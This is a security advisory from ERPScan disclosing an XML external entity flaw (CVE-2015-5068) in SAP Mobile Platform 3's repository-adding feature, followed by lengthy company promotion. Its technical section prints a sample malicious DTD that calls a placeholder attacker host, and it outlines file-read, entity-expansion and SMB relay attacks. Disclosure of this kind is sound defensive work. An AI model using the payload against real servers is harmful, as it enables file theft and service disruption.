ERPSCAN Research Advisory [ERPSCAN-15-014] SAP Mobile Platform 3 ? XXE in Add Repository Application: SAP Mobile Platform Versions Affected: SAP Mobile Platform 3, probably others Vendor URL: http://SAP.com Bugs: XML External Entity Sent: 13.03.2015 Reported: 14.03.2015 Vendor response: 14.03.2015 Date of Public Advisory: 15.06.2015 Reference: SAP Security Note 2159601 Author: Vahagn Vardanyan (ERPScan) Description 1. ADVISORY INFORMATION Title: SAP Mobile Platform 3 Advisory ID: [ERPSCAN-15-014] Risk: High Advisory URL: http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/ Date published: 15.06.2015 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: XML External Entity [CWE-611] Impact: information disclosure, denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2015-5068 CVSS Information CVSS Base Score: 5.5 / 10 CVSS Base Vector: AV : Access Vector (Related exploit range) Network (N) AC : Access Complexity (Required attack complexity) Low (L) Au : Authentication (Level of authentication needed to exploit) Single (S) C : Impact to Confidentiality Partial (P) I : Impact to Integrity None (N) A : Impact to Availability Partial (P) 3. VULNERABILITY DESCRIPTION 1) An attacker can read an arbitrary file on a server by sending a correct XML request with a crafted DTD and reading the response from the service. 2) An attacker can perform a DoS attack (for example, XML Entity Expansion). 3) An SMB Relay attack is a type of Man-in-the-Middle attack where the attacker asks the victim to authenticate into a machine controlled by the attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways and gets access. 4. VULNERABLE PACKAGES SAP NetWeaver AS Java 7.4 Other versions are probably affected too, but they were not checked. 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2159601. 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION SAP XML parser validates all incoming XML requests with a user-specified DTD. ?he vulnerability is presented in the field for adding a new repository. When an administrator adds the URL for a new repository and saves, SAP Mobile Platform searches for these files in remote URL: - remote_URL\content.xml - remote_URL\artifacts.xml The attacker can change content.xml or artifacts.xml and add malicious code. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker_IP/"> %remote;]> <root/> 8. REPORT TIMELINE Sent: 13.03.2015 Reported: 14.03.2015 Vendor response: 14.03.2015 Date of Public Advisory: 15.06.2015 9. REFERENCES http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/ 10. ABOUT ERPScan Research The company?s expertise is based on the research subdivision of ERPScan, which is engaged in vulnerability research and analysis of critical enterprise applications. It has achieved multiple acknowledgments from the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud to have exposed new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be nominated for the best server-side vulnerability at BlackHat 2013. ERPScan experts have been invited to speak, present, and train at 60+ prime international security conferences in 25+ countries across the continents. These include BlackHat, RSA, HITB, and private SAP trainings in several Fortune 2000 companies. ERPScan researchers lead the project EAS-SEC, which is focused on enterprise application security research and awareness. They have published 3 exhaustive annual award-winning surveys about SAP security. ERPScan experts have been interviewed by leading media resources and featured in specialized info-sec publications worldwide. These include Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, and Chinabyte, to name a few. We have highly qualified experts in staff with experience in many different fields of security, from web applications and mobile/embedded to reverse engineering and ICS/SCADA systems, accumulating their experience to conduct the best SAP security research. 11. ABOUT ERPScan ERPScan is one of the most respected and credible Business Application Security providers. Founded in 2010, the company operates globally. Named an Emerging vendor in Security by CRN and distinguished by more than 25 other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to improve the security of their latest solutions. ERPScan?s primary mission is to close the gap between technical and business security. We provide solutions to secure ERP systems and business-critical applications from both cyber attacks and internal fraud. Our clients are usually large enterprises, Fortune 2000 companies, and managed service providers whose requirements are to actively monitor and manage the security of vast SAP landscapes on a global scale. Our flagship product is ERPScan Security Monitoring Suite for SAP. This multi award-winning innovative software is the only solution on the market certified by SAP SE covering all tiers of SAP security: vulnerability assessment, source code review, and Segregation of Duties. The largest companies from diverse industries like oil and gas, banking, retail, even nuclear power installations as well as consulting companies have successfully deployed the software. ERPScan Security Monitoring Suite for SAP is specifically designed for enterprises to continuously monitor changes in multiple SAP systems. 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